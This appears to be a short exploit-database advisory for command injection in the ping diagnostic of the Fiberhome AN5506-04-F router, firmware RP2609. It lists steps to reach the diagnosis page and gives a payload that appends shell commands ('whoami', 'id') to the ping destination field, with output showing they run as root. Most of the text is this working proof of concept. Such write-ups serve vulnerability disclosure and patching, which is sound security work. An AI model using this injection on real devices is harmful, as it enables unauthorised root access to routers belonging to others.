Fiberhome AN5506-04-F Command Injection

`# Exploit Title: Fiberhome an5506-04-f a -PING- COMMAND INJECTION  
# Date: 03.10.2017  
# Exploit Author: Tauco  
# Vendor Homepage: http://hk.fiberhomegroup.com  
# Version: RP2609  
# Tested on: Windows 10  
  
  
Description:  
===========================================================================  
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.  
  
https://www.owasp.org/index.php/Command_Injection  
  
  
Proof of Concepts :  
  
=======================================  
1. Go to the Default Gateway  
2. Open the application  
3. Open diagnosis  
4. Input command to the Destination Address  
5. Click Ping  
  
ping_ip=127.0.0.1;whoami;id  
  
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.617 ms  
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.259 ms  
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.215 ms  
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.214 ms  
64 bytes from 127.0.0.1: seq=4 ttl=64 time=0.218 ms  
  
--- 127.0.0.1 ping statistics ---  
5 packets transmitted, 5 packets received, 0% packet loss  
round-trip min/avg/max = 0.214/0.304/0.617 ms  
root  
uid=0(root) gid=0 groups=0  
  
`